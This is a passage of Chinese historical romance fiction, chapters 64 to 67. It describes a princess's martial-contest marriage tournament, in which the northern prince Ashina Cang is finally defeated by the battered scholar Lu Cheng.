他回道:“下面禀报,说是在营州疑似见到他们的踪迹,孤和皇叔派去的人还未传回消息。” 营州?天寒地冻的,他们去那儿作甚? 脑子里有什么东西一闪而过,萧婧华未能捕捉,懊恼捶头。 一只手止住她的动作。 萧长瑾温声道:“别把自己箍得这么紧,有孤在。” 萧婧华扯出一抹笑。 房门被敲响,外头传来钟文的声音,“殿下,王爷派人通传,让郡主回府。” 萧长瑾揉了揉她脑袋,“去吧。” 萧婧华点头。 走到阖上的门前,她蓦地回首,“哥哥,我觉得,筱筱心里可能有你的位置,你加把劲。” 颀长身影立在桌案前,烛火映照俊美轮廓,萧长瑾笑道:“孤知道。” 语气笃定。 …… 到了宫门口,萧婧华一眼便见停在不远处的王府马车。 几名小厮提灯站在车厢旁,似在等候她。 萧婧华扬起笑,正要走过去。 “郡主。” 空旷夜里倏尔响起一声,夜风无声而至,将萧婧华吓得一激灵。 她猛地偏头看去,目光触及那人脸庞时松了口气,转而骂道:“大晚上的,你做鬼呢?” 陆埕无措地停在原地,“抱歉,我非有意……” “行了。”萧婧华打断他,“这么晚,你怎么还没回去?” 陆埕深深吸气,“我在等你。” 等我做什么? 这话还没问出来,陆埕已退后两步,“王爷在前方等你,快回吧。夜里风大,别着凉了。” 萧婧华简直莫名其妙。 不过见陆埕明显不想多说的模样,她也不屑追问,淡淡点头,转身往马车走去。 恭亲王见她回了,吩咐马夫,“走吧,回府。” 撩起车帘,萧婧华往后看了一眼。 夜里黑,方才他们站的地方黑黝黝一片,也看不出那人走还是没走。 她放下帘子,靠了回去。 回到春栖院,梳洗过后,萧婧华躺在床上。 此刻,藏在内心深处的烦闷才显露一二。 无人知晓,被当众求亲的那刻,她心中茫然又害怕。 谜团尚未解开,她绝不可能远嫁。 北夷又那么远,倘若嫁了,她这辈子可能也见不了父王几面。 父王只有她一个女儿,她怎么能让他后半辈子都在担忧中度过? 萧婧华拉上被子,把头蒙住。 算了,别再胡思乱想。 父王和皇伯父已经有了解决的法子。 她嫁不了的。 …… 望着恭亲王府的马车驶离,陆埕才转身离开。 确定她没有担心受怕,他总算是松了口气。 回了陆府,陆埕并未惊动众人,来到后院举起石锁。 月光清幽,他汗如雨下,咬牙坚持。 十日。 只有十日。 这次,不能输。 第65章 心情不畅,萧婧华约云慕筱和谢瑛去郊外跑马。 凉风迎面灌来,仿佛能将心里所有烦闷彻底吹散。 跑了几圈,萧婧华心满意足。 谢瑛与她并驾齐驱,嗓音里带着狠劲,“婧华,你别担心。大不了那日,我穿男装替你打这一场。我倒要看看,那三王子有多大能耐,能接住我几枪。” 萧婧华心中生暖,笑道:“那我就先谢过阿瑛了。倘若有需要,我一定叫你。” 云慕筱策马而来,轻声询问:“王爷可是有所安排?” “他和皇伯父为我选了个‘如意郎君’。” 萧婧华大方开口,“待他赢了阿史那苍,我若不喜,退婚便是。” “这样也行。”谢瑛忖度着,“先应付过去再说。” “不错。” 远处红枫遍野,似红色汪洋,随风泛着波澜。 萧婧华勒马,“走吧,我们回去。” 刚过城门,有人拦住马车。 “宁拓求见郡主。” 正和云慕筱说话的萧婧华眉梢微动,略有疑虑,“宁小公爷?” “是,郡主要见吗?”予安在外头询问。 “见见吧。”箬竹开了车门,少年挺拔的身影映入眼帘。 萧婧华问:“宁小公爷有何要事寻我?” 宁拓抬眼,视线触及车内的云慕筱谢瑛二人,微一颔首,随后道:“我想和郡主单独谈谈。” 萧婧华扬眉,思忖两息,“我去看看。” 提着裙子,在予安的搀扶下走下马车。 朱红色雀鸟绣鞋落地,她理了理裙子,“你想和我说什么?” 宁拓做出一个请的手势。 萧婧华随他走到人迹稀少的巷口。 “郡主,我不会让你远嫁北夷。” 少年清脆的嗓音落入耳中,掷地有声。 萧婧华微怔。 俊秀的脸庞上溢满认真,少年目光明亮到仿佛染着一团火,触之即被灼伤。“我会赢。” 宁拓斩钉截铁。 看着他这般认真坚定的模样,萧婧华心头微微一动。 她勾唇,“好。” 多谢。 …… “表哥与你说了什么?” 一回去,谢瑛便拉着萧婧华打听。 “他说,比武招亲那日,他会来。”萧婧华回。 “就这个?” 谢瑛有些失望。 她还以为,会像院里丫鬟们看的话本子那样,向心上人表露情意,非卿不娶,约定终身。 “不然,你还想要什么?”萧婧华似笑非笑,“你若想看,我可以演给你瞧瞧。” 别以为她方才没看到她鬼鬼祟祟偷听的身影! 她就是好奇嘛。 谢瑛嘿嘿笑了两声,难得羞涩,“不敢了,下次再也不敢了。” 萧婧华哼了声,转头与含笑看着二人的云慕筱说话。 光阴如梭,十日转瞬即至。 萧婧华坐在妆台前,托着腮在妆奁内挑挑拣拣。 箬竹领着侍女问:“郡主今日穿哪套?” 她转眸,眼珠在众位侍女手中捧着的衣裳上转了圈。 好歹也是她的“好”日子,怎么也得穿得喜庆些。 萧婧华挑了件水红色的罗裙,搭配莲红暗纹上襦,再罩一件红焦色披风,内里鲜嫩似芙蕖,外看鲜妍如海棠。 箬兰站在身后替她绾发,萧婧华挑了几支珠花金步摇,等箬兰簪入如云鬓发,她将耳铛带上,瞧着镜子里的娇艳美人。 满意点头,萧婧华起身,裙摆如花瓣收缩成苞,含蓄柔美。 “走吧。” 为了今日,恭亲王特地告了一日假。 女儿迎面走来,他只瞧了一眼便开始抱怨,“又不是真的嫁人,穿这么红作甚?” 此刻的他私心里不愿提起萧婧华成婚一事。 汤正德安慰,“郡主穿得喜庆些,也是想得个好兆头,今日王爷必能心想事成。” 恭亲王满意了,面色转为和缓。 等萧婧华走近,他和颜悦色地说:“走吧。” 早去早回,他实在不想看到那劳什子北夷三王子。 碍眼得很。 萧婧华朝父王笑了笑,温声颔首,“好。” 王府门口早有马车候着,予安和觅真先行一步坐在车辕上。 父女二人登上马车,缓缓往富朝楼而去。 这楼建于前朝,原是前朝皇帝为了观景所用。盛朝建立后,无论世家贵族还是富商巨贾,亦或是平民百姓皆可登楼一览,后来因人数过多发生踩踏事件,无奈将此楼封闭。 今日琅华郡主比武招亲,陛下特地为她开放此楼,并派下礼官主持这场招亲仪式。 楼前已搭上擂台,城中百姓早在前几日便已听闻郡主招亲之事,将此地围得水泄不通。马车还未走近,萧婧华便听见了喧嚣声。 “来了来了,王府的马车来了!” 刻有恭亲王府徽纹的马车驶近,百姓们自动让出一条通道。 车门打开,纤细白皙,柔弱无骨的玉手搭在驾车的侍女手上,眼前一花,宛如骄阳坠落,烈烈似火,又如一团雍容华贵的牡丹折落,飘至众人眼前。 萧婧华曳曳落地。 人群嘈杂。 “那便是郡主?” “生得可真美啊。” “若是不美,怎么能被北夷的三王子看上,当众提亲?” “也不知郡主今日会下嫁何人。” “应当是那三王子吧。” “这可说不准。咱们盛朝的优秀儿郎也不在少数,你怎么能涨他人士气灭自己威风。” 听着耳畔的窃窃私语,萧婧华与恭亲王一道步入富朝楼。 前几月,她被山匪掳走时,便是不去听,也能知道百姓们口中的定不是什么好话。 如今她比武招亲,又是另一幅模样。 这些百姓,可真有意思。 唇畔带着浅淡笑意,萧婧华彻底将那些闲言杂语甩在身后。 富朝楼二楼摆了几桌席面,转为今日观礼贵客所设。 朝中有大臣今日亦来观礼,恭亲王拍了拍萧婧华的手背,转头走向他们。 “婧华,我们在这儿!” 角落里,谢瑛对萧婧华招手。 萧婧华扬起笑,带着箬竹几人走过去。 “你们来这么早?” 转头一看,意外又惊喜,“江姐姐,姿娘,你们也来了。” 温婵姿挑眉,“你的大日子,我怎么也不能缺席啊。” 萧婧华瞪她一眼,下一刻又笑出来。 江妍卿温婉颔首,“出了这么大的事,我怎么也得回京看看。” 兴奋地挽住江妍卿的手,萧婧华道:“江姐姐,这是敬国公府的两位姑娘,云慕筱和谢瑛,这位是温婵姿。” 随后又对三人介绍,“这是虞侯府上的大姑娘,自小和我一同长大的姐姐。” 江妍卿笑意温和,“我比几位年长几岁,若不介意,便与婧华一道唤我一声江姐姐吧。” “江姐姐。” 三人齐声。 入座后,萧婧华打量着谢瑛的穿着,没忍住笑了,“你还真打算上场啊。” 谢瑛今日依旧梳着马尾,只是换了身男装,脸上也不知抹了什么,轮廓瞧着硬是硬朗了几分,再加上喉间假喉结,瞧着倒是个美少年。 她甩着头发,“那是当然。倘若有个意外,我也能当个备用人选不是?” 云慕筱嗔她,“胡说什么呢?怎么会有意外?” 谢瑛当即拍了下嘴,“我的错我的错。” 萧婧华笑得双眼弯弯,江妍卿捂唇笑,温婵姿毫不掩饰,一双媚眼里盛满笑意。 云慕筱正准备开口,蓦地感受到一道强烈的目光。 眼珠一转,对面楼上在窗边负手而立的人对她温和一笑。 她抿了唇,正纠结是否该回应,楼下震耳锣鼓声打断她的思绪。 礼官站在台上朗声道:“今日琅华郡主比武招亲,凡是十八至二十五以内未婚男子,皆可上场比试。比武将采取一对一的形式,掉落擂台之人,将失去比试资格。另,不可动用兵器,不可伤人性命。” 他平手,指尖对着台下炉内尚未点燃的香,“黄昏之时,此香燃尽。那时台上剩下的人,将得陛下圣旨赐婚。” “锵——” 锣鼓再次被敲响,礼官道:“比试开始,诸位请。” 话落,他提步走下擂台。 场内安静了一瞬,人群中,不少人对视着,却迟迟未曾上前一步。 百姓们嚷嚷着,“怎么没人上啊。” “北夷的三王子呢?” 片刻后,有人飞身站上擂台。 几乎在他动身的那一刻,又有人动了。 二人相对而立,拱手作揖,“请。” 竟两个都是盛朝人。 谢瑛皱眉望着台下两人,“那三王子呢?他不是信誓旦旦要娶你,怎么不上?” “此时上场,于他不利。”云慕筱慢悠悠饮着茶。 “不错。”江妍卿赞同,“那香要燃至黄昏,这么长的时间,他此时若是上场,岂非被人当成了靶子?” 温婵姿瞧了眼那又粗又长的香,猜测道:“三王子,大抵午后才会现身吧。” 她的话方落下,萧婧华已远远瞧见几道人影正在靠近。 阿史那苍带着人,堂而皇之地在富朝楼隔壁酒馆歇下。 一名北夷少年倒了碗酒,阿史那苍喝着,边看擂台上的比试,绿眸微眯,似映着山水的湖面,幽绿暗沉。 萧婧华不想看他这副胸有成竹的悠闲样,缓缓转开眸子,“等着吧。” 果真如温婵姿所言,这一等就等到了午后。 上午胜出的那人立在台上,志得意满道:“何人敢与我一战?” “啪”一声。 阿史那苍摔了酒碗,放声大笑。 “我来!” 几个迈步登上擂台,他右手置于胸前,脑后辫子垂落,在肩上摇曳。 “北夷,阿史那苍。” 那人昂首时有矜傲显露,“盛朝兵部侍郎之子,何元。” 阿史那苍抬眸。 绿瞳里笑意消散,在转瞬间汇聚成凶光,似草原狼王,霸气睥睨。 头顶有苍鹰清唳,叫声响彻天际,经久不散,似一曲不朽的赞歌,提前为它的王欢唱。 何元有一瞬的心悸。 下一瞬,对面的人猛然向他挥出一拳。 何元举臂格挡,腿上忽然传来剧痛,下盘不稳,他险些趴在台上。 震惊间,腰间被狠狠踹了一脚,他竟然硬生生被人踹下了台! “哐当——” 锣鼓震声天。 “北夷三王子胜。” 十息不到。 台上,萧婧华面色逐渐难看。 下方,惊愕过后,人群爆发出嘈声。 “这、这么快?” “上午何公子可是一连败了六人,却不能在这北夷三王子手上走过三招,他竟如此厉害?” “北夷勇士,名不虚传啊。” “我来!” 一人喊了一声,跃上擂台。 阿史那苍大笑,“来得好!” “下一个。” “下一个。” “下一个。” “下一个!” 越来越多的人走上擂台,最终却都落得个或拎,或踢的结果。台下一时间哀声一片。 宽阔擂台上只余阿史那苍一人。 他双手交握,动了动脖子。 汗珠顺着麦色脖颈往下淌,他猛地攥住衣领,将衣服扯落,随手一扔,露出块垒分明,肌肉紧实的胸膛。 呼吸间胸膛起伏,汗水顺着沟壑滑落,胸前横贯着大大小小的伤口。不丑,反而充斥着刚毅野性的美。 他怒喊:“来战!” 第66章 鸦雀无声。 谢瑛抿着唇,面色凝重,“这三王子,还真有点本事。” “婧华,我去了。” “等等。” 萧婧华拉住谢瑛手腕,摇头道:“再等等。” “郡主,您就让谢姑娘去吧。”箬兰在后头焦急。 再等下去,倘若当真无人敢应战,那三王子胜了怎么办! 萧婧华不语。 谢瑛拧着眉头,却还是坐了下去。 她相信萧婧华,既然让她等,那便等等吧。 擂台上,阿史那苍抱手,肌肉随着他的动作鼓动。他望向礼官,“既然无人敢应战,那这比试……” “谁说无人?” 一道人影飞上擂台,朗声道:“我来。” 富朝楼上,萧婧华与恭亲王齐齐松了口气。 “那是何人?” 温婵姿望着那面容气质皆不显,唯有眼中含着隐藏极深戾气的男人,平白觉得那非寻常人。 萧婧华小声,“我皇伯父的暗卫。” 几个姑娘不约而同转眸望向恭亲王,见他眉目焦灼散了不少,纷纷了然。 “皇家暗卫,应当有些本事吧。”谢瑛嘟囔。 涉及皇族,她没多谈,只盯着下方的比试。 那暗卫与阿史那苍打得有来有回,明显武艺不俗。 出乎意料的是,阿史那苍起初虽有些措手不及,但十几招过后,竟反而压制住那暗卫。 一个飞踢,暗卫躲闪不及,急遽后退,竟直接掉下了擂台。 萧婧华抿住了唇。 紧接着,无数个暗卫依次跳上擂台。 阿史那苍敏锐地察觉到他们非寻常人,开始保存体力。 可惜暗卫们太过难缠,一个刚被打下擂台,另一个便迅速跳上去,丝毫不给他喘息的机会。 阿史那苍心中生出燥意,一拳轰出,直中暗卫右肩。 “咔嚓——”一声,像极了昂贵琉璃花瓶裂开时发出的声响。 暗卫忍着剧痛,面不改色握紧拳头,还给阿史那苍一拳。 那一拳打在他腰腹,肌肉肉眼可见凹陷下去,阿史那苍连退数步,偏头吐出一口血沫子。 拇指缓缓擦过下唇,留下一抹殷红。 他畅快大笑,眸底似有雷暴凝聚。 “痛快!再来!” 话音甫落,他再度冲了出去。 暗卫肩膀受伤,动作稍有凝滞,那一瞬的破绽被阿史那苍捕捉到,他五指成爪,抓向他脖颈。 暗卫运气后退。 蓦地,那高大的身影停下了,唇畔勾起一抹笑,喘着粗气道:“你输了。” 暗卫一惊,当下四顾,这才发觉自己竟退到了擂台之下。 双唇绷成一条直线,他转身没入人群。 一连战了数十人,阿史那苍身形摇晃,有些站不稳。 他甩了甩头,被汗水打湿的辫子在空中飞舞,汗珠顺着胸膛没入腰腹间。 “还有人吗?尽管上。” 语气猖狂,不可一世。 谢瑛偏头小声骂了句脏话,一掀衣袍就要起身。 就在这时,又有一人上了擂台。 墨发玉冠,白衣翩翩,面容玲珑剔透得似枚白玉,眉色稍浅,唇瓣削薄,下颌轮廓流畅清晰,眉目淡然,不似武将,倒像是个文人。 他拱手,宽袖轻扬,动作行云流水,优雅得像幅画。 “在下仰玉成,请赐教。” 听到这个名字,萧婧华稍有怔愣。 “这人……有异?”云慕筱捕捉到她的异样,低声询问。 萧婧华摇头。 非但无异,这人的身家,清白得不能再清白了。 她偏头,略有惊讶,“你竟不识他?” 云慕筱愣了,“我该认识?” 谢瑛眸子转了两圈,脑中灵光闪过,猛地捶手心,激动又惊喜,“是见画将军!” “见画将军?”温婵姿与江妍卿异口同声,齐齐不解。 “没错,就是见画将军仰玉成。他的父亲,乃是新昌大长公主养子,赫赫有名的威猛将军。” “威猛将军驻守南疆,骁勇善战,其子仰玉成子承父业,十七岁以一千水军大败一万南蛮军,一战成名。因其面若好女,好事者称他‘公子只因见画。’①谁知他听了也不恼,反而道,得汝之赞,是玉成之幸,从此得了个‘见画’将军的诨号。” 谢瑛越说越兴奋,“没想到,他竟然会出现在京城。” “没错。”萧婧华单手托腮,“他的父亲是姑祖母养子,按理,我该唤一声表哥。” 云慕筱与谢瑛的祖父曾是驸马家臣,她们的父亲与威猛将军也是自幼相识的。 因此萧婧华才会意外于云慕筱并不识仰玉成。 不过转念一想,她并不在边关长大,仰家又早早去了南疆,不识也正常。 “表哥此行是为上京述职,刚好被我父王撞上了,被他拉来帮忙。” 下头两人已经打起来了。 谢瑛对这种少年将军很是崇拜,兴奋得恨不得扒在栏杆上看。 瞧着瞧着,她瞧出了不对。 做贼似的坐了回去,谢瑛犹疑道:“婧华,见画将军的功绩,不是做的假吧?” 萧婧华被这问题砸懵了,“为何这么问?” 桌上几人齐刷刷看过来。 谢瑛纠结片刻,委婉道:“他现在展露的实力,完全不像能以一敌百。” 换而言之,名不副实。 她怀疑他是个沽名钓誉之辈。 萧婧华皱着眉头,“不会。父王与皇伯父都对他赞誉有加。仰玉成的品性应当是没问题的。” 否则他们也不会让仰玉成做这个“如意郎君。” 谢瑛怀着疑虑又趴回了栏杆。 看了一会儿,她面色凝重地回来,“他身上有伤。” 萧婧华怔住,“什么?” 谢瑛肯定道:“瞧着应该刚受伤不久,大概就是今日的事。” 萧婧华惊了。 下头又是哐当一声,几个姑娘从震惊中回神,往下方投去目光。 擂台之上,阿史那苍一身狼藉,袒露在外的肌肤上充斥着大大小小的青紫。嘴皮破了,头发也乱了,他大喘着气,汗如雨下,已似强弩之末。 仰玉成俊脸苍白,隐在袖下的手微微颤抖,有鲜红顺着骨节分明的手指往下淌。 在那滴血珠即将坠落之际,他张手,将血珠收进掌心,紧紧握住。 足尖抵在擂台边,另一脚,已然落地。 他输了。 阿史那苍缓了口气,声线紧绷,“你有伤在身,我赢得不光彩。” 仰玉成勉强抬手,嗓音平淡似水,又如雨后甘露,清灵干净,“胜便是胜,并无光不光彩一说。” 他转身,步伐缓慢离开。 阿史那苍猛地松气,大马金刀地席地而坐。 颤抖的手臂搭在膝盖上,他瞥着香炉内即将燃尽的香,高声喝道:“还有人吗?!” “他输了。” 云慕筱轻声道。 二楼叹声低低落地,忽然被一惊天怒喝打断,恭亲王大喊:“汤正德!以最快的速度去王府调人!无论什么身手,全部给我调来!那小子撑不了多久,要快!” 事已至此,他再顾不得世人异样的眼光与非议。 说他不择手段也好,巧立名目也罢,再不动手,女儿都要被那夷人抢走了! 汤正德急急应了声,便匆匆下楼去。 谢瑛一拍桌子,“我去!” 萧婧华还没来得及说话,她已翻身从栏杆上跳了下去。 仰玉成上楼时,刚好瞧见少女在风中英气逼人的侧脸。 他移开目光,走向恭亲王,弯下身子,“王爷,玉成无能,有负于您的托付。” 恭亲王目光毒辣,一眼便看出他身上有伤,皱眉问道:“怎么弄的?” 仰玉成:“来的路上出了岔子。” 恭亲王暗叹一声,轻轻拍他肩,“你已经尽力了,本王派人送你回去养伤。” 他另外唤了名小厮,“拿本王的帖子,去给仰将军请名太医。” 仰玉成弯身致谢。 转身下楼时,姑娘们的谈话声传入耳中。 “谢姑娘……能行么?” “江姐姐放心。”清冷似铃音的声音道:“阿瑛自幼随父亲习武,甚至得过大长公主指教,称赞她乃少有的武学奇才。” 大长公主?姓谢? 几乎在瞬间想到某家人,仰玉成深吸口气,下楼的动作稍显仓促,拖着受伤的身体匆匆离去。 台上。 阿史那苍喘气打量着谢瑛,嗤笑一声,将血腥气咽回去,“我不和女人打。” 谢瑛怒,“你看不起女人?!不对!” 她猛地反应过来,“你说谁是女人?” 绿眸盯着谢瑛,阿史那苍笑,“谢姑娘,你以为,我认不出你?” 萧婧华身边交好的姑娘,早被他摸得一清二楚。 “今日是郡主比武招亲的日子,谢姑娘还是别添乱了。” 百姓们辨认片刻。 “这是个姑娘?” “姑娘家凑什么热闹,赶紧下去吧!” 礼官朝谢瑛摇头,她握紧拳头,憋屈地下了台。 回了二楼,谢瑛垂头丧气道:“婧华,我对不住你。” 萧婧华握住她手,安慰道:“你尽力了,别放在心上。” 她望着楼下。 阿史那苍威慑过重,仰玉成败下后,竟无人敢上场。 人群中,并无那道在她面前信誓旦旦的身影。 长睫在眼下投射出一道阴影。 男人,果真不可信。 …… 宁拓大步流星向外,宁国公夫人迎面走来,将他唤住。 “拓儿,你等等。” 宁拓驻足,急声道:“娘,郡主今日招亲,有什么话等我回来再说。” “着什么急啊,也不差这一时半会的。” 宁国公夫人轻拍宁拓肩膀,笑道:“娘给你准备了补汤,你喝完再去。” “娘,我不喝……” 话未尽,宁国公夫人便道:“这是娘亲自给你熬的,祝愿我儿旗开得胜,迎心上人过门。” 宁拓愣住,“娘……” “你什么心思,娘还不知道?”宁国公夫人笑意温和,“好了,喝了就赶紧去吧。” 宁拓感动,拿过侍女手中的汤碗,仰头一饮而尽,意气风发。 “娘,等我给你带个儿媳妇回来。” 放下碗,宁拓大步迈出。 十息过后,少年步伐缓慢,背影摇晃几下,轰然倒地。 宁国公夫人冷静吩咐,“来人,送小公爷回房。” 两个小厮快步走来,埋首搀扶起宁拓,将他扶进屋,放在床上。 轻柔抚摸着儿子侧脸,宁国公夫人细心替他盖好被子,带着侍女小厮出了门。 “把门窗关死,落锁。” 她下令。 小厮将锁落下,恭敬侯在门外。 “把小公爷看好了,倘若醒了,也绝不准他踏出这门半步。” 小厮躬身应下,“喏。” 宁国公夫人望着紧闭的门窗,面色淡然。 儿啊,别怨娘。 琅华郡主性子娇纵,难当大任。国公府是你爹临走前交到我手上的,我绝不能眼睁睁看着它落败。 且郡主失了清白,不是良配。 邹家姑娘性子温婉,端庄贤淑,管家得当。 她,才是最适合你的,国公府的女主人。 出了院门,宁妙云迎上来搀扶住母亲,“哥哥睡了?” 宁国公夫人颔首。 走出几步,她淡淡道:“今日你约闺中密友外出,对府中之事一无所知,可明白?” 宁妙云乖巧道:“女儿知晓。” 母亲做了恶人,而她这个妹妹,自然要做中间人,缓和母子间的关系。 从小到大,皆是如此。 …… 橘红色的晚霞为城池镀了层暖光。 白烟袅袅,灰烬飘落,炉内香烟只余短短一截。 阿史那苍忍着胸口窒息般的闷痛,“没人了?” 他偏头对礼官道:“宣布吧,我赢了。” 礼官望向富朝楼,不免踯躅。 下一瞬,投珠碎玉般的嗓音泠泠落地。 “还有我。” 第67章 对面。 钟文拦住即将下场的下属,迟疑着问窗前的主子。 “殿下,要不要将陆大人换下来?” 男子负手而立,背影挺拔。 长袖随风拂动,萧长瑾长眉微拧,凤眼盯着陆埕。 他竟然来了。 一个文人,能赢得过骁勇善战的草原勇士? 即便他已是强弩末矢,可狼在濒死前,也能咬死人的。 萧长瑾移开目光,看向对面楼上的姑娘们。 视线在垂着眸,略显惊讶的云慕筱身上微顿,转向冷脸的萧婧华。 萧长瑾踯躅片刻,不由在心中轻叹一声。 罢了,看在他替婧华解决心腹大患的份上。 看在他确有悔过之心的份上。 给他一次机会。 摩挲着指腹,萧长瑾启唇,“让他去吧。派人守着擂台,陆埕若不行,立即派人上去,绝不能让阿史那苍胜出。” 钟文恭声,“是。” …… 阿史那苍撩起眼皮。 男子一身素衣青衫,木簪束发,浑身上下无一饰品,干净简朴得似普通士子。 五官出尘俊逸,凤眼沉静如海,表面风平浪静,眸底深处却似有暗潮轻涌。 他静静地看着台上之人,长睫之下,是孤注一掷的执拗。 阿史那苍嗤笑,“陆大人一介文人,也会武?” 话里是毫不掩饰的嘲讽。 陆埕置之不理,一步一步,坚定走上擂台。 孟年匆匆追来,守在台下,担忧地望着他的背影。 楼上陷入缄默。 江妍卿望着那张清隽的脸,缓声道:“若我没记错的话,他……好似并不会武。” 谢瑛觑了眼香炉,低声喃语,“香快燃尽了,他能行么?” 显而易见的不信任。 萧婧华垂眸不语。 另一桌的恭亲王亦是意外于陆埕的出现,拧着眉,目光沉沉注视着他。 视线睃巡着,云慕筱轻声安慰,“无碍,王爷的人应该很快就到,就算陆大人败了,还有别的人顶上。” 温婵姿附和着,“不错。反正也只能坐着看,与其焦灼,不如放宽心,等着结果就是。” 话虽这么说,可在场之人心情皆有些沉重。 恭亲王府离这儿不算近,王府的人不一定能赶来,眼见黄昏将至,香快灭了,倘若陆埕输了,那…… 萧婧华和亲,便是板上钉钉的事。 无人发觉,拧眉不语的云慕筱忽而抬眸望向对面。 都到这份上了,为何还不出手? 他不可能没有准备。 少女轻轻咬住下唇。 那便,压下心头万般思绪,萧婧华浓密长睫微动,望着楼下那人。橘色光芒洒在她侧脸,衬着眸中微光浮动,似有涟漪轻荡。 …… 擂台上。 见陆埕走来,阿史那苍撑着手臂,勉力站起。 与那么多人过招,此刻的他着实算不上好。咽下口中腥气,他睨着陆埕,丝毫不露颓势。 “陆大人输了,可别怪本王恃强凌弱。” 面对别的挑战者,他都未露过怯,更别说现在站在他面前的,还是萧婧华曾经的心上人。 他只会露出獠牙,找准时机,一击毙命。 这丝毫不掩饰的轻蔑嘲讽并未让陆埕动怒。他的情绪依旧平静,淡得仿佛阿史那苍嘲笑的不是他本人,而是毫不相关的外人。 他抬步向阿史那苍走近,“我不会输。” 大言不惭。 阿史那苍笑,眼中笑意在刹那间泯灭。绿瞳骤暗,风云汇聚,杀意滔天。 他猛地朝陆埕出拳。 陆埕动作虽慢,却擦着他的拳头躲开了去。 阿史那苍眸光微凝,动作越发急促,出拳时劲风呼啸,疾风骤雨似的朝陆埕压下。 陆埕这段时日虽积极强身健体,可终究没学过武,在阿史那苍的攻势下躲避得很是狼狈。 脚下一时慌乱,他露了破绽。 阿史那苍乘胜追击,五指成拳,狠狠砸在他腹部。 陆埕身子猛颤,被这一拳打倒在地,偏头呕出一口血。 他挣扎着,半晌起不了身。 阿史那苍摇摇晃晃走到他身前蹲下,一把揪住他的衣领。 一只苍白的手阻拦了他的动作。 陆埕抬眸看他,脸色分明已经惨白,眸里的光却分毫不散。 “我不会输给你。” 阿史那苍讥笑,“陆大人,你们这些盛朝的读书人,好像有些过分自信了。就你,还想赢我?” 陆埕定定看着他,只是道:“她心里没有你。” 阿史那苍嘴角笑意散去,掌中发紧,眼睛眯起,“你说什么?” 陆埕轻声,“我见过她真心实意喜欢一个人的模样。” “眼里心里全是他,会关心他可有吃饱穿暖,会迫不及待想见他,哪怕是一面,哪怕是一句简单的问候,也能让她心中开怀。” 他声线发抖,眼里蕴着痛,“他病了,恨不得日日守着他喝药。他伤了,兴师动众地送来最好的药材。把他的母亲当做自己的生母孝顺,他的弟弟,亦视为自己手足。”“她恨不得,把自己所有的一切,都交给喜欢的人。” 可这样好的她,却被眼瞎的他冷落了整整三年,伤透了心。 阿史那苍额上青筋鼓起,他揪着陆埕的衣领将他拉近,怒极反笑,“你是在和我炫耀?” 他如何能不知道,陆埕口中的“他”便是他本人? 陆埕摇头,“我只是想告诉王子,她心里,没有你。” “今日的她,不会欣赏王子在擂台上的英姿,也不会在意王子为她打败了多少追求者,她只会想,你怎么还不输?” 你怎么还不下去? 陆埕扯出一抹笑,声若蚊蝇,却在阿史那苍心中掀起惊涛骇浪。 “她想摆脱你。” 绿眸在瞬间涌出红血丝,阿史那苍彻底被激怒,“你、找、死!” 他举起拳,疯狂朝陆埕砸下。 铁一样的拳头砸在脸上,将陆埕打得偏过头去,一口血喷射而出。来不及将血拭去,余光里阿史那苍红着眼攻来,他抬臂去挡。 咔嚓—— 他仿佛听见了骨头断裂的声音。手臂弯曲成诡异的弧度,瘫软下来。 盛怒中的阿史那苍失去了理智,杀红了眼,将陆埕提起,猛地屈膝撞上他腰腹。 “噗——” 猩红顺着嘴角滑落。 脸侧又是一拳砸来,陆埕被他打得踉跄,后退几步。 下一刻,他被一脚踹倒在地。 五脏六腑仿佛移了位,陆埕周身剧痛,血沿着下巴没入衣领。 阿史那苍走至他身旁,眼泛凶光,“你输了。” 上挑的眼里含着轻嘲,陆埕艰难道:“就算……就算你杀……杀了我,她仍不会……” “我阿娜教过我一句话,敬酒不吃吃罚酒,我觉得很适合你。” 阿史那苍音色淡淡,下一瞬,猛地提腿向陆埕碾去。 “哐当。” 衣袖带翻了茶盏,摔成碎片。萧婧华霍地起身,紧紧抿唇。 谢瑛着急,“他怎么不认输啊。再这样下去,他会被打死的。” 担心焦灼中,下方的阿史那苍揪住陆埕衣领,疯了一样挥出一拳又一拳,那发狠的劲,似乎不把陆埕打死不罢休。 一群北夷人举臂欢呼,孟年听不懂他们说的什么,可光看他们兴奋的表情也能猜出一二。 他死死揪着衣袖,紧张又担忧地望着台上的陆埕。 大人,一定要坚持住啊。 …… 陆埕被重重扔在地上,口中发出微弱哼声。 他双耳嗡鸣,目光发虚,神志已然有些不清了,只是下意识往后退去。 毫无意义的躲避。 扯了扯嘴角,阿史那苍止住发软的手,胸口伤势闷痛,他闷哼一声,匀了口气,“该结束了。” 他动了动脚,想将陆埕踹下去。 就在这时,原本躺在地上虚弱无力的陆埕骤然睁眼,浅黑瞳仁折射出寒芒。他翻身躲开阿史那苍的攻势,以极快的速度绕到他身后,狠狠一脚踢向他膝弯。 阿史那苍猝不及防,整个人向前扑去。 “哐——” 礼官瞧着锣鼓,高声道:“礼部陆埕,胜!” 阿史那苍陡然回头。 夕阳倾泻,炉里的香燃尽,轻轻掉落。 他咬牙,恨道:“你故意的。” 故意激怒他,故意把他引到擂鼓边,甚至故意不还手,保存体力,只为了这最后一刻。 陆埕动了动唇,他的面庞已惨不忍睹,青青紫紫的,不复往日的干净精致。每动一下,都牵扯出刻骨的痛。可他漂亮凤眸里却露了笑意。 “是。” 他故意的。 他自诩光明磊落,清正自持,可原来,却也不过是个卑劣的小人。 不曾与她商议,利用她用言语激怒阿史那苍,自作主张赢了这一场。 可纵使卑劣又如何? 只要能留下她。 只要她不嫁。 这个小人,他做便做了。 尘埃落定,陆埕彻底支撑不住,轰然倒地。 青衫染血,一滴滴,一块块遍布素衣,恰似湘妃泪洒斑竹,凄若无力。 西边晚霞铺陈,光影落于他身,清隽眉眼染上红意,好似斑斑血迹。 视线朦胧中,有个小姑娘转圈圈似的围着他,大眼睛里含着一汪清泉,鼓着腮帮子,委屈巴巴地看着他。 “陆埕,你痛吗?” “陆埕,你会不会死啊?” “陆埕,我错了,我真的错了,你别不理我呜呜……” “我以后再也不敢爬树了,陆埕,你理理我啊……” 天地旋转,光阴骤变。 昔日的小姑娘长成了亭亭玉立,张扬明媚的少女。 她鬓发如云,珠翠熠然,一身红衣似火,仿佛比天际晚霞还要绚丽灿烂几分,衣带勾起微风,缓步朝他走来。 陆埕瞳孔微微放大。 他充满希冀,艰难伸手。 “郡主……” 少女脚步不停,目不斜视,面无表情从他身旁走过。 锦衣柔软,擦着他的指尖,留下一股微弱的风。 除此之外,再无其他。 